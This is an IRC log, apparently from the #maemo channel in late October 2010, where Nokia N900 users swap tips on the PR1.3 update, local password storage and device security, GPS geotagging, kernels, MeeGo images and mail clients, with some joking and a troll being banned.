JDDRFAN	It didn't. It was made in PR 1.2, but Mohammad updated to work on PR 1.3	02:03
sivang	tools?	02:03
sivang	what's there?	02:03
KaffeeJunky123	I guess man	02:03
DocScrutinizer	crashanddie: poeple try to convince me it's wise to scatter password storing files all ver the place so they aren't so easy to find	02:03
sivang	JDDRFAN: well, better email himor something, he must've gotten to sleep by now	02:03
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fcrochik	DocScrutinizer: these days a email and password can open many doors. ... most web sites (maybe except the banks) will allow you to reset the password to their web sites if you have access to the e-mail account.	02:03
crashanddie	"password storing files"?	02:03
DocScrutinizer	crashanddie: even rot13 the content so it's not so easy to read	02:03
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chem\|st	KaffeeJunky123: the apt is not the apt you have on a desktop so are some of the programs and they are just lazy not doing manpages	02:03
DocScrutinizer	like account files	02:03
JDDRFAN	I don't want to bug him =P I don't mind waiting to bump into him here	02:03
sivang	sure :)	02:04
JDDRFAN	Thanks tho! Sigh, I feel like such a newbie ):	02:04
DocScrutinizer	crashanddie: e.g SIP credentials	02:04
sivang	JDDRFAN: Don't , we are all newbs	02:04
crashanddie	fcrochik: except that the email-to-retrieve-password scheme has been broken for ages	02:05
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fcrochik	DocScrutinizer: it may not make any difference but I would feel a little better if all the passwords were stored encripted using my PIN ...	02:05
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crashanddie	fcrochik: it was something that first appeared in the enterprise world, where some level of trust was assumed with regards to the email account, it doesn't, and should never have applied to the real world	02:05
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DocScrutinizer	that'd make a bit of a difference, yes	02:05
sivang	SIP can be TLS'd these days	02:05
fcrochik	crashanddie: doesn't mean that they are not all around us and will be for a long time to come	02:05
sivang	at least freeswitch allwos it	02:05
crashanddie	sivang: yeah, SIPS is quite common these days, futile, but common	02:06
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crashanddie	sivang: SIPS only protects you up to your gateway/server. Most servers _do not_ use SIPS to communicate with other servers, so even though your connection to the server is protected, all bets are off afterwards	02:06
chem\|st	may someone be so kind and pastebin the icq part from ~/.rtcom-accounts/accounts.cfg pls	02:07
DocScrutinizer	anyway, "hiding" localy stored passwords _from user_ is mere futile	02:07
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crashanddie	DocScrutinizer: +1	02:07
chem\|st	true	02:07
DocScrutinizer	you can encrypt your complete home, and unlock with master password on logon	02:07
DocScrutinizer	everything esle is nonsense	02:08
crashanddie	well, you can hash, but then you're not storing the password.	02:08
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ShadowJK	standalone battery charger has turned from angry purple to "hey I'm so cool it's like 2001 again"-blue	02:09
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DocScrutinizer	;-D	02:10
chem\|st	may someone be so kind and pastebin the icq part from ~/.rtcom-accounts/accounts.cfg pls	02:10
* SpeedEvil remembers when green LEDs were cool.		02:10
ShadowJK	battery at 4.12V...	02:10
chem\|st	SpeedEvil: '90s?	02:10
ShadowJK	the whole assembly is suspiciously hot though	02:10
ShadowJK	I wonder if it dumped at 500mA until battery's safety circuit said no	02:11
fcrochik	DocScrutinizer: I got go but before that: do you have any hope meego will do "something" about it?	02:11
DocScrutinizer	about what? crypto-fs?	02:11
SpeedEvil	One simple design is a 4.2V shunt regulator, and a resistor	02:11
DocScrutinizer	or proper user logon?	02:12
fcrochik	DocScrutinizer: anything at all... I would like both...	02:12
DocScrutinizer	you can have both right now and here	02:12
ShadowJK	.. from 220V?	02:12
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fcrochik	DocScrutinizer: w/o loosing functionality? how?	02:13
DocScrutinizer	crypto-fs already done by some dude to maemo some weeks ago. Logon should be damn easy, wait... isn't there device lock code?	02:13
fcrochik	DocScrutinizer: yes. there is	02:14
ShadowJK	ah the smell of hot PCB	02:14
fcrochik	DocScrutinizer: but still any application running under the user account will have access to all the files, right?	02:14
DocScrutinizer	yes	02:14
DocScrutinizer	otherwise it'd be worthless to store this info anyway	02:14
ShadowJK	i can't resist, i have to take this abomination apart now	02:14
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chem\|st	why the hell is something touching rtcom-accounts and removing server params from icq... and what?	02:15
fcrochik	DocScrutinizer: I guess I just want to, at least, know that some application is trying to access the "important stuff" (lets say passwords files for now) and have a chance to say yes, no, yes always for this app, ...	02:16
DocScrutinizer	fcrochik: of course you can assign more finegrained permissions, so basically only your app and root can access the credentials	02:16
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fcrochik	DocScrutinizer: but then all the telepathy accounts won't work...	02:16
DocScrutinizer	they will if you allow the app using telepathy to access these files	02:17
fcrochik	DocScrutinizer: in fact there is another flaw already using a very simple code you can get telepathy to tell you all the credentials to all accounts.	02:17
DocScrutinizer	sure	02:17
DocScrutinizer	and using GBD I dissect the shit out of your system	02:17
DocScrutinizer	gdb even	02:18
fcrochik	DocScrutinizer: so you would need to prevent other applications from accessing telepathy....	02:18
DocScrutinizer	what is it woth then?	02:18
fcrochik	DocScrutinizer: I guess I am glad I don't know what gdb means :)	02:18
* ShadowJK finds 4 transistors, one (linear?) reg, one 4-legged ic		02:18
DocScrutinizer	gnu debugger	02:18
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fcrochik	DocScrutinizer: I am sure the list of vulnerabilities goes on and on... but I would hope that, at least, someone like me couldn't figure out more than one way to get passwords out of the phone.	02:21
ShadowJK	no that's not a reg, it's a 5th transistor	02:21
DocScrutinizer	fcrochik: selinux or apparmour is what you are looking for	02:22
fcrochik	DocScrutinizer: can I get on my phone :) ?	02:22
DocScrutinizer	prolly yes	02:22
fcrochik	DocScrutinizer: aren't you going to tell me why it is not a good idea?	02:23
DocScrutinizer	but honestly, a proper user logon is first step to a better sleep. And fixing the idiocy of sudo gainroot not asking for root password	02:23
ShadowJK	and the 4 pin thing could be a photocoupler	02:24
ShadowJK	huh	02:24
DocScrutinizer	wtf!	02:24
fcrochik	DocScrutinizer: now we are talking! I don't expect to be 100% safe ...just want to see some movement towards safer!	02:24
DocScrutinizer	sure it's not a diode graetz bridge?	02:24
ShadowJK	says "Orient 817c" on it	02:24
DocScrutinizer	fcrochik: http://wiki.maemo.org/User:Joerg_rw/tools has some bit for you	02:25
DocScrutinizer	starting at # fix NOPASSWD	02:25
fcrochik	DocScrutinizer: thank you! I will have a look.... Thank you for our little chat too.	02:26
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DocScrutinizer	yw	02:26
fukyou		02:26
ShadowJK	4 diodes and a resistor near where AC connects to the board	02:26
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fukyou	haha	02:27
fukyou	f	02:27
fukyou	u	02:27
fukyou	c	02:27
fukyou	k	02:27
fukyou	y	02:27
fukyou	o	02:27
fukyou	u	02:27
fukyou	h	02:27
fukyou	a	02:27
fukyou	ah	02:27
fukyou	ah	02:27
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DocScrutinizer	knewit	02:27
KaffeeJunky123	what the?	02:27
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lpotter	waaaahhh! he made me cry!!!!	02:27
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DocScrutinizer	friggin idiots	02:30
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* javispedro has heard the noise of a banhammer working its way through a poor idiot		02:31
DocScrutinizer	it smelled even before he entered :-P	02:32
* javispedro 's reading ulrich drepper's How To Write Shared Libraries atm		02:33
javispedro	I should print such a nice bible	02:33
DocScrutinizer	[Whois] fukyou ist ~venom@cpe-098-027-044-184.triad.res.rr.com (...)	02:33
DocScrutinizer	for what it's worth	02:33
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KaffeeJunky123	http://wiki.maemo.org/Documentation/devtools/maemo5#Installation I wrote it into sources.list, but somehow man-db is still not available <_<	02:36
KaffeeJunky123	I mean the tools repo ofc	02:36
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DocScrutinizer	ShadowJK: http://www.tradekey.com/product_view/id/806122.htm optocoupler, indeed	02:40
ShadowJK	so I guess one of the diodes is a zener..	02:41
ShadowJK	and that's the only voltage regulation	02:41
DocScrutinizer	I guess any of the components is a transformer	02:41
javispedro	DocScrutinizer: that friendly guy smelly guy just entered #meego	02:41
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ShadowJK	there's a T1	02:41
DocScrutinizer	lol	02:41
javispedro	too late, already banned =)	02:41
DocScrutinizer	javispedro: I got no ops on #meego	02:42
chx	that fukyou guys needs a k-line	02:42
javispedro	"\| #drupal is for general chitchat, quick questions, and community talk."	02:42
javispedro	we should have such	02:42
javispedro	"#maemo is for Life, the Universe and Everything"	02:42
javispedro	*such a line	02:42
javispedro	;P	02:43
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SpeedEvil	pr42	02:43
E0x	hello	02:43
KaffeeJunky123	is meego more or less bloat then maemo?	02:43
E0x	hmm pr1.3 get fix the geotagging issue	02:44
E0x	now is more accurate	02:44
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KaffeeJunky123	I don't even get a gps signal here	02:44
KaffeeJunky123	maybe I should try it outside ^^	02:44
E0x	too bad , even now when you go to picture details	02:44
E0x	show a button that lunch the ovi map	02:45
E0x	to the cordinadte of the picture	02:45
E0x	cordinate*	02:45
SpeedEvil	https://bugs.maemo.org/show_bug.cgi?id=6584 E0x?	02:45
povbot	Bug 6584: GPS geotagged pictures truncate precision of GPS reading (0 decimal places)	02:45
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E0x	SpeedEvil: yes sir	02:46
SpeedEvil	Neat.	02:46
SpeedEvil	I need to add my compass/...	02:46
E0x	in the details of the picture like i say now there is a button that lunch ovi map and show you the point of where that picture was take	02:48
E0x	and ovi maps have update too, know for my country you saw the streets	02:48
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E0x	and is more detailed and accurate that maemo mapper	02:49
E0x	using google maps	02:49
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SpeedEvil	you've checked the EXIF?	02:54
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E0x	SpeedEvil: i have a picture from pr1.2 days and another new one with pr1.3 in the same place	02:55
E0x	want some info ?	02:56
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SpeedEvil	Does the EXIF show a non-integer secongs of lat'//lon?	02:57
sivang	shit, I was not sub'd to mameo-comunity	02:57
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sivang	who's moderating it?	02:57
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sivang	should I sub and re-send?	02:58
E0x	SpeedEvil: hmm	02:58
E0x	the new one have altitude missing	02:58
DocScrutinizer	<misc> 01:45:19\| -!- >> hookup [~venom@FE8F53AF.triad.res.rr.com] has joined #IRCube	02:59
DocScrutinizer	<misc> he also spammed another network i am on	02:59
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DocScrutinizer	grr	03:02
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E0x	SpeedEvil: the thing is before was , country,city . only and now was : country,city,sector	03:03
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ieatlint	DocScrutinizer: note that your ban is malformed... should be !venom@*triad.res.rr.com .. otherwise it wouldn't match either of the two hosts he's used	03:04
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DocScrutinizer	:-S	03:04
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SpeedEvil	http://www.flickr.com/photos/14560445@N08/4207075892/meta/	03:05
*** ChanServ sets mode: -o DocScrutinizer		03:05
SpeedEvil	GPS Latitude 56 deg 13' 36.00" N GPS Longitude 3 deg 7' 30.00" W	03:05
SpeedEvil	for example - the ends are 0	03:05
DocScrutinizer	ieatlint: thanks	03:05
SpeedEvil	which is bogus	03:05
ieatlint	np :)	03:06
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DocScrutinizer	actually I'd prefer writing a script to deal with such shit and suckers, rather than doing it myself and insert typos	03:07
javispedro	sorry, 1-click ban is patented	03:07
DocScrutinizer	meh :-P	03:07
ieatlint	i assure you there have been many scripts already written for this :P	03:07
Shapeshifter	so, do I need to put this webos game in /home/user/applications as some dude suggests on the forum or can I put it somewhere in MyDocs not to fill up rootfs?	03:07
DocScrutinizer	hi Shapeshifter :-)	03:08
Shapeshifter	DocScrutinizer: hello there	03:08
DocScrutinizer	err /home != rootfs either	03:09
javispedro	binary has to be on exec filesystem. Other than that, you're free to go.	03:09
Shapeshifter	javispedro: thanks	03:09
Shapeshifter	DocScrutinizer: no? I thought /home/user was on rootfs	03:10
javispedro	exec filesystems on default n900: /, /home	03:10
javispedro	Shapeshifter: /home/user is same filesystem as /opt	03:10
DocScrutinizer	Shapeshifter: /home is a (default) 2GB partition on eMMC	03:11
javispedro	aka /home, 2GiB by default	03:11
Shapeshifter	oh	03:11
Shapeshifter	I've lived a lie	03:11
Shapeshifter	^^	03:11
DocScrutinizer	hehe	03:11
E0x	SpeedEvil:	03:12
E0x	GPS Latitude18.489444 degrees GPS Latitude RefNorth GPS Longitude69.933611 degrees	03:12
E0x	like that ?	03:12
javispedro	altitude is not available on the first few gps fixes on pr1.3, i've noticed	03:12
E0x	javispedro: in pr1.2 not all the time is available too	03:12
E0x	i have a few picture without it	03:13
E0x	from pr1.2 days	03:13
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javispedro	hum	03:13
javispedro	previously I used to get altitude even when 2D nav	03:13
javispedro	(last altitude I guess)	03:13
javispedro	maybe human error.	03:13
E0x	maybe	03:13
SpeedEvil	umm - sort-of.	03:14
* SpeedEvil runs the numbers		03:14
SpeedEvil	Seems to be integer seconds	03:16
Shapeshifter	mhh. I've never had this. and searching man tar doesn't even contain the word "target": tar zxvf data.tar.gz unpacks the contents to /usr/palm/... instead of ./usr/palm. I can't even remember tar doing this?	03:16
SpeedEvil	29 min, 22 seconds	03:16
javispedro	messybox	03:16
Shapeshifter	._.	03:17
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Shapeshifter	tar-gnu to the rescue	03:21
DocScrutinizer51	install cureutils-gnu	03:21
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DocScrutinizer	ohh, and:	03:23
DocScrutinizer	~messybox	03:23
infobot	messy... err busybox is meant for lean scripting. Regarding all the missing options and immanent limitations (see su) it's not really the interactive shell of choice. A lot of people hate busybox because a lot of system integrators don't understand the difference between busybox and a decent user interactive shell plus unix utils	03:23
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Shapeshifter	javispedro: wow this actually works	03:25
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javispedro	no wonder...	03:28
javispedro	;P	03:28
javispedro	lol, on N900, vibrator is mapped to a LED class device?	03:30
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SpeedEvil	yes	03:34
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* SpeedEvil was amused when he noticed the link for 'gnu od'.		03:34
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javispedro	bah, I see that on upstream kernels vibrator is mapped more correctly as feedback device, but I guess that wasn't good enough for our N900 =)	03:39
javispedro	(more like the other way, led was good enough)	03:40
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DocScrutinizer	javispedro: weird, on OE it's also a LED which made me go WTF for OM kernel several times	03:45
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Shapeshifter	javispedro: is preenv usually generating icons to be placed in /usr/share/icons?	03:46
DocScrutinizer	actually I never seen such a thing like a feedback device	03:46
javispedro	either way, I see that it is not very much usable as mce will "take" control of it every few second	03:46
javispedro	s	03:46
DocScrutinizer	javispedro: yup	03:46
DocScrutinizer	mce-666	03:47
javispedro	and mce doesn't have public API to set pwm ...	03:47
DocScrutinizer	yup	03:47
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javispedro	bah.	03:47
DocScrutinizer	just patterns	03:47
DocScrutinizer	anyway you could stop mce	03:47
javispedro	Shapeshifter: yes.	03:47
DocScrutinizer	and enjoy the madness braking loose	03:48
javispedro	DocScrutinizer: not that I'd want to.	03:48
Shapeshifter	javispedro: didn't work for sims in my case (but maybe it's just still that bug where icons aren't refreshed immediately)	03:48
javispedro	Shapeshifter: reboot	03:48
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Shapeshifter	javispedro: I see	03:48
fb\|jean	~pr1.3	03:48
infobot	extra, extra, read all about it, pr1.3 is the latest (and probably last) software update for Fremantle, available since Monday October 25 2010. More information at http://conversations.nokia.com/2010/10/25/new-nokia-n900-software-update-available/ -- see ~flashing for how to update, or http://repository.maemo.org/stable/fremantle/Maemo_5_SDK_Release_Notes_v1_7_en.txt, or http://mg.pov.lt/maemo-irclog/%23maemo.2010-10-26.log.html#t2010-10-26T03:02:54	03:48
Shapeshifter	#6931	03:48
Shapeshifter	bug #6931	03:48
povbot	Bug https://bugs.maemo.org/6931 After installation of software last icon in list has default icon instead of own one	03:48
fb\|jean	bug #1945	03:49
povbot	Bug https://bugs.maemo.org/1945 javascript confirmation	03:49
fb\|jean	bug #1939	03:49
povbot	Bug https://bugs.maemo.org/1939 md5sum: command not found when setting up tetex-base in ARMEL	03:49
fb\|jean	hm k, nazi free chan	03:49
fb\|jean	bug #42	03:49
povbot	Bug https://bugs.maemo.org/42 Refers to the wrong rootstrap	03:49
fb\|jean	ok last one (i love it!)	03:50
fb\|jean	drumwhirl	03:50
fb\|jean	#1337	03:50
fb\|jean	fuck	03:50
fb\|jean	bug #1337	03:50
povbot	Bug https://bugs.maemo.org/1337 Menu item News -> garage news is broken	03:50
fb\|jean	hmpf	03:50
wmarone	?	03:50
wmarone	havin gfun?/	03:50
DocScrutinizer	fb\|jean: done?	03:50
fb\|jean	ok. seriously. i'm developer and i'm looking for some docs bout the possibilities for maemo development	03:50
fb\|jean	like.. gps api (in diverent languages, like python or c or perl)	03:51
DocScrutinizer	povbot largely useless for that purpose	03:51
povbot	DocScrutinizer: Error: "largely" is not a valid command.	03:51
fb\|jean	is there any "starter" guide?	03:51
javispedro	wmarone: "gfun" is exactly the way to describe one's mood after having used glib for a while.	03:51
DocScrutinizer	fb\|jean: try wiki	03:51
wmarone	javispedro: indeed	03:51
fb\|jean	kk	03:51
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fb\|jean	pymaemo. nice. i came.	03:55
Shapeshifter	well it sure is having problematic not having multitouch for gaming ._.	03:56
fb\|jean	gaming.. tz. its maemo, not gameboy os =)	03:56
DocScrutinizer	http://wiki.maemo.org/Documentation/Maemo_5_Developer_Guide/Architecture/Top_Level_Architecture	03:57
DocScrutinizer	http://wiki.maemo.org/Documentation	03:57
Shapeshifter	javispedro: have you tried assassin's creed?	03:58
javispedro	I only own two games.	03:58
Shapeshifter	it runs fine but without multitouch I can't even manage to get past the tutorial :D	03:58
DocScrutinizer	fb\|jean: http://wiki.maemo.org/PyMaemo/Using_Location_API	03:59
fb\|jean	DocScrutinizer: found it already, but thanks	03:59
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DocScrutinizer	http://wiki.maemo.org/Documentation/Maemo_5_Developer_Guide/Using_Connectivity_Components/Using_Location_API	04:00
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luke-jr	fb\|jean: you know Maemo is dead, right?	04:47
DocScrutinizer	as dead as digital technology at large	04:48
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DocScrutinizer	on second thought, even I feel strange today	04:49
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logisist	claws-mail sucks	04:55
logisist	all mail sucks on the N900	04:55
ieatlint	dude, install pine, it's awesome	04:55
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ds3	if pine works with a touch screen....	05:00
* nox- uses mutt via ssh		05:02
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* DocScrutinizer51 suggests starting an effort to get a better mail client for maemo. Step 1: specify requirements. Then we can think about either reworking modest, or finding a better suited program and base on that		05:12
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johnx	DocScrutinizer51, I want a calendar that speaks caldav while we're at it	05:13
DocScrutinizer51	well such an effort/project can scale nicely to cover more than just mail. calendar is a natural sibling of mail, regarding procedure and structure of such an effort	05:15
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johnx	just, for the love of god, make sure they're not an all-in-one thing	05:24
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DocScrutinizer	that's not what I implied, just thought step1 is similar for virtually every core app on maemo. Specify requirements	05:25
nox-	bbl	05:25
johnx	fine there's requirement 1: they MUST not be tied together into one program	05:25
DocScrutinizer	o/	05:25
DocScrutinizer	sure, full ackk	05:26
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DocScrutinizer	tough there are actually quite some interfaces between e.g. mail and calendar. Like syncing calendars and appointments via imap rsp mail in general	05:27
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johnx	DocScrutinizer, very true. That's probably one of the big reasons people are tempted to role them up into one app	05:30
DocScrutinizer	also a contact can have a calendar element, e.g for birthday, and a calendar entry can have associated alarms and notes and contacts. So I guess that's what should form a PIM with a universal PIMobject datatype	05:30
johnx	yup	05:31
DocScrutinizer	but mail isn't one of the components of core PIM in my book, just has close interfaces to PIM	05:31
johnx	Maemo already uses some evolution data storage system for that	05:31
johnx	I have no idea if it's nice to work with from a programming point of view	05:32
luke-jr	ieatlint: pine is non-free	05:32
johnx	is alpine free?	05:32
luke-jr	nfc	05:32
johnx	near field communications?	05:33
luke-jr	SquirrelMail is free I think	05:33
luke-jr	no freaking clue	05:33
johnx	squirrelmail is also a webmail program, not a local client really	05:33
johnx	also: it's kinda ... spartan	05:33
luke-jr	sure, but better than anythign else on N900 :p	05:34
johnx	can't agree ...	05:34
luke-jr	Modest decided to stop showing new emails for me :	05:34
luke-jr	:/	05:34
ieatlint	ah, alpine is indeed what i meant... and it is free (apache licence)	05:34
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garyholt	!maemo	05:41
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MrPPS	Hey all, the GUI interface for updating offers no updates, but if i do "apt-get update" then "apt-get upgrade" it offers 1003 packages for upgrade - any idea why this might be?	05:43
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Pauly_	Hi, anyone know how to get back to the stock Nokia N900 PR 1.3 kernel after installing the OC kernel?	05:59
Pauly_	without reflashing the whole firmware?	05:59
MrPPS	http://wiki.maemo.org/Kernel_Power#Deinstallation	05:59
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MrPPS	Pauly_: that link was for you	05:59
Pauly_	thank you sir?	06:00
MrPPS	welcome	06:00
MrPPS	that's the official instructions anyway	06:00
MrPPS	:)	06:00
Pauly_	i need more battery life which do you think is better, stock nokia 1.3 kernel or kernel power With ULV Setting?	06:01
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luke-jr	1.3 has a kernel update?	06:01
Pauly_	stock BL-5J battery is too expensive for me and i dont wanna buy a cheap one	06:01
MrPPS	well, personally, i just bought a bigger battery, but i haven't tried the different kernel yet, so i cant advise on that	06:01
MrPPS	sorry Pauly_	06:01
SwedeMike	I fiddled with the power kernel and now after installing 1.3 it seems it gave the same power usage but with more responsive phone, so I think the power kernel doesn't do that much when it comes to giving longer battery life, but you can really screw up the performance.	06:02
Pauly_	the MUGEN power?	06:02
luke-jr	O.o	06:02
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Pauly_	i think im gonna reinstall the kernel	06:03
Pauly_	im just worried that uninstalling the kernel will put the PR1.2 Kernel instead of 1.3?	06:04
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Pauly_	???	06:06
ieatlint	you act like you're expecting an answer, but that wasn't actually a question, even though it had a random trailing question mark	06:06
ieatlint	unless you are actually asking for our input on what you worry about	06:07
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Pauly_	yes i am lol i am sorry	06:10
luke-jr	Pauly_: I don't think there is a 1.3 kernel	06:11
luke-jr	but now that I think of it, I'm using the Mobile Hotspot kernel so maybe it got ignored	06:11
Pauly_	oh ok i read in the forums that there was one	06:11
Pauly_	sorry my bad	06:11
MrPPS	maybe he means maemo os version? kernels are 2.4.* and 2.6.*	06:11
Pauly_	no	06:12
Pauly_	just the kernel	06:12
MrPPS	cause mines a 2.6.28-omap1 kernel	06:12
ieatlint	i also do not believe pr1.3 had a kernel update, but i wouldn't swear to it	06:13
Pauly_	MrPPS and you have PR 1.3?	06:13
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Dhraakellian	mrrr...	06:13
MrPPS	i dont recall - i have the latest version, whatever that is	06:13
Pauly_	oh ok then maybe my mind is all messed up lol	06:13
Dhraakellian	I seem to have lost support for ogg vorbis after the update to 1.3	06:14
Pauly_	okay well thank you and btw any1 know where to get a good deal on the stock battery?	06:14
MrPPS	Pauly_: you can find official batteries on ebay at a reasonable price	06:14
MrPPS	depending what your budget is, of course	06:14
Dhraakellian	packages are still there, but media player is only showing the paltry portion of my collection that's in mp3	06:14
Pauly_	i was scared they was not affoical being so cheap. lol	06:14
Dhraakellian	http://talk.maemo.org/showpost.php?p=853235&postcount=14 didn't work for me	06:15
Pauly_	thanks so much i gtg watch RED with the wife love u all maemo People!!!!!!!!	06:15
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MrPPS	adios Pauly_	06:16
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Dhraakellian	anyone have any other ideas for getting Ogg Vorbis back in the media player?	06:16
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kulve	Dhraakellian: it seems that you need to uninstall and install the ogg support package	06:30
Dhraakellian	...which I did	06:31
* Dhraakellian tries uninstalling extra decoders support through the GUI instead of mucking about with apt-get		06:31
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Dhraakellian	okay, uninstalling via the GUI did it	06:43
Dhraakellian	...and reinstalling, of coures	06:44
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TermanaDesire	Morning	07:14
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MohammadAG51	:o an android user	07:54
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MohammadAG51	gtfo TermanaDesire	07:54
MohammadAG51	GTFO	07:54
MohammadAG51	jk :P	07:54
TermanaDesire	:p	07:54
TermanaDesire	Only until I can get a new n900!	07:55
RST38h	moo all	07:55
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MohammadAG51	oh, your screen died	07:55
MohammadAG51	moo RST38h	07:55
TermanaDesire	Morning RST38h	07:56
RobbieThe1st	~pr1.3	07:56
infobot	from memory, pr1.3 is the latest (and probably last) software update for Fremantle, available since Monday October 25 2010. More information at http://conversations.nokia.com/2010/10/25/new-nokia-n900-software-update-available/ -- see ~flashing for how to update, or http://repository.maemo.org/stable/fremantle/Maemo_5_SDK_Release_Notes_v1_7_en.txt, or http://mg.pov.lt/maemo-irclog/%23maemo.2010-10-26.log.html#t2010-10-26T03:02:54	07:56
TermanaDesire	MohammadAG51: well, yeah. My little brother put it in water	07:56
RobbieThe1st	Are the Fiasco images for PR1.3 out yet?	07:57
MohammadAG51	TermanaDesire, shove it in water for 2/3 days	07:57
TermanaDesire	RobbieThe1st: tablets-dev	07:57
MohammadAG51	RobbieThe1st, you're 2 days late	07:57
RobbieThe1st	K, great	07:57
TermanaDesire	MohammadAG51: and they would help it... how?	07:58
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RobbieThe1st	last I heard, people were complaining about having to use the Nokia Ovi suite to update, so...	07:58
MohammadAG51	TermanaDesire, rice absorbs moisture	07:58
MohammadAG51	TermanaDesire, LOL I said water	07:58
MohammadAG51	meant rice	07:58
TermanaDesire	MohammadAG51: lol :p	07:59
* RST38h updated with apt-get. What Ovi Suite?		07:59
TermanaDesire	MohammadAG51: anyway I already did so. But DocScrutinizer doesn't. Think I should trust everyone anyway.	07:59
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TermanaDesire	Everyone lied to me	08:00
RobbieThe1st	RST38h: Yea, an OTA update. In my case, I've got things screwed up enough I want to do a full flash -> restore routine	08:00
Corsac	ssu was really seamless for me	08:01
RST38h	don't get your things screwed up then.	08:01
TermanaDesire	RobbieThe1st: it would be a stupid move on nokias part to not release fiasco images	08:01
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RobbieThe1st	I thought they were released a bit later than the OTA update messages	08:02
RobbieThe1st	...Anyway, it's now downloading, so all's well	08:02
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andrewfblack	Stskeeps: Ping	08:15
RST38h	Meanwhile: The folks at Chatroulette found a very clever solution for their money shortage and penis overload problems. They're now earning money by forwarding all their penises to Hustler's website	08:15
kerio	lol	08:17
Dhraakellian	okay... my n900 seems to think that it's still connected to USB and therefore will not reboot	08:19
Dhraakellian	short of draining the batt–hmm... I could just pop the battery... that'd be quicker	08:20
RST38h	Captain Obvious says you can.	08:20
RST38h	Although it does not guarantee successful reboot, I am afraid	08:20
Dhraakellian	yarr	08:20
Dhraakellian	"fsck that"	08:21
RobbieThe1st	"sudo gainroot", "reboot" won't work>?	08:21
RST38h	sorry but have you tried holding the power key for >5 seconds?	08:22
Dhraakellian	...that did the trick	08:22
Dhraakellian	these things that I for some reason didn't think of	08:22
DocScrutinizer	hooray tmo :-P	08:22
DocScrutinizer	luke-jr: err, no new kernel ?? o.O https://garage.maemo.org/plugins/ggit/browse.php/?p=h-e-n;a=commitdiff;h=a2abd51199b9e61542a24ae9086ac1c6263106c4#patch9	08:23
* Dhraakellian slaps himself upside the head with a mackerel		08:23
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ham5	pr 1.3!	08:24
Dassu	...dude you're like a little late	08:25
ham5	much talk about it in here?	08:26
Dassu	dunno why people even anticipate the FW updates	08:26
Dassu	ham5: naw	08:26
* Dassu doesn't even care		08:26
ham5	what one u use? :)	08:26
Dassu	what do you mean?	08:27
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ham5	what os do you use?	08:27
Dassu	1.3 of course	08:28
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pupnik_	someone needs to port zdf mediathek to maemo	08:37
DocScrutinizer	errrrm, quality isn't great but...	08:38
DocScrutinizer	what's to port there?	08:39
pupnik_	mhm. well. anything to avoid those horrid websites	08:39
pupnik_	i think it's java	08:39
DocScrutinizer	js	08:39
DocScrutinizer	compare nano.de/lifestream (or the like) - excellent	08:40
pupnik_	http://zdfmediathk.sourceforge.net/index.html	08:41
pupnik_	you know this DocScrutinizer ?	08:41
DocScrutinizer	nope	08:41
RobbieThe1st	pupnik_: If it needs Java, we've already got that - install "icedtea6" from the repo	08:42
RobbieThe1st	I think it's in extras-devel, but it may be extras-testing...	08:42
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TermanaDesire	Why would you do something nasty like that?	08:43
TermanaDesire	:p	08:43
RobbieThe1st	Install Java? One word: Runescape.	08:43
RobbieThe1st	It's literally the -only- thing I've ever found Java to be used for that's even slightly useful	08:44
SwedeMike	game is useful?	08:45
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RobbieThe1st	When you are bored? Yup. It also has a great use in promoting procrastination.	08:46
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DocScrutinizer	HOORAY tmo! >> The server is too busy at the moment. Please try again later. <<	08:48
RST38h	Wow	08:48
RobbieThe1st	^^	08:48
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TermanaDesire	Conspiracy theory time!	08:52
DocScrutinizer51	I'm just missing the 'we'll send a live rendered mediastream with fish for your entertainment, while you wait"	08:56
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budfive	~pr1.3	09:13
infobot	i guess pr1.3 is the latest (and probably last) software update for Fremantle, available since Monday October 25 2010. More information at http://conversations.nokia.com/2010/10/25/new-nokia-n900-software-update-available/ -- see ~flashing for how to update, or http://repository.maemo.org/stable/fremantle/Maemo_5_SDK_Release_Notes_v1_7_en.txt, or http://mg.pov.lt/maemo-irclog/%23maemo.2010-10-26.log.html#t2010-10-26T03:02:54	09:13
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andrewfblack	Stskeeps: Ping	09:16
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Stskeeps	andrewfblack: plon	09:16
Stskeeps	k	09:16
andrewfblack	plon thats a new one	09:16
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frals	ZogG: its because lack of time	09:17
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andrewfblack	Stskeeps: I can't figure out why some themes set icon pack to the themes icon pack and some set it to default when I'm building them the same way	09:18
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\|187\|	i encountered that my n900 freezes my computer on usb connection (win7) every mornin i plug it in. happened onlly since pr 1.3 .. anybody else noticed such problem ?	09:32
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Khertan	Morning all !	10:12
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X-Fade	Morning.	10:13
Khertan	http://repo.meego.com/MeeGo/releases/1.1/handset/images/meego-handset-armv7l-n900/ <----	10:13
Khertan	morning X-Fade	10:13
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ruskie	hmm anyone know if it'll be possible to boot meego of an ext{2,3,4} sd card with the new hack for multibooting?	10:17
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Khertan	ruskie, there is a news with a video on Maemo.org ... so i ll say ... yes :)	10:18
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ruskie	Khertan, well I only saw mention of a vfat sd boot card	10:19
ruskie	hence my confusion	10:19
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Khertan	ruskie, i ven't test yet	10:20
Khertan	ruskie, i waiting the finish of 1.1 image download	10:20
Khertan	:)	10:20
ruskie	ahh you're planing on using ext for the sd card as well?	10:20
Khertan	i ll try	10:21
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pavelL	hi all	10:22
pavelL	has anybody encountered problems with aegis credp_kcheck	10:23
pavelL	have tried to installed some packages like min , mwts	10:23
pavelL	but getting always aegis error in syslog	10:23
Stskeeps	isn't this harmattan stuff?	10:23
pavelL	yes it is	10:24
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Stskeeps	i'm not sure you're allowed to talk about that in public :)	10:24
X-Fade	pavelL: That is unreleased stuff.	10:24
pavelL	wanted to know if any other has experienced problems with aegis manifest	10:24
pavelL	;)	10:25
pavelL	if no	10:25
pavelL	sorry	10:25
pavelL	will find my self	10:25
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X-Fade	Clearly lost ;)	10:25
Khertan	google answer me what is it :)	10:26
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Myrtti	meh	10:28
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Myrtti	should make coffee	10:28
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RST38h	moorning.	10:31
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peb_	RST48H, morning ..	10:38
linuxcentos	back from vacation now, reading that Meego can be installed on N900, someone tested it?	10:38
crashanddie	MohammadAG51, pign	10:38
crashanddie	ping	10:38
crashanddie	linuxcentos, source?	10:38
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linuxcentos	http://meego.com/community/blogs/harrihakulinen/2010/meego-calling-n900	10:39
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crashanddie	linuxcentos, I don't read from that that you can install Meego on the n900, do you?	10:41
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Khertan	crashanddie, http://repo.meego.com/MeeGo/releases/1.1/handset/images/meego-handset-armv7l-n900/ :)	10:45
Khertan	crashanddie, install on ext sd	10:45
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Jaffa	Morning, all	10:45
Khertan	Morning Jaffa	10:47
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jarkkom	Khertan, does that 1.1 image include all n900 integration stuff?	10:49
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Khertan	jarkkom, don't know i'm still downloading it	10:51
mece	jarkkom, yes it does	10:51
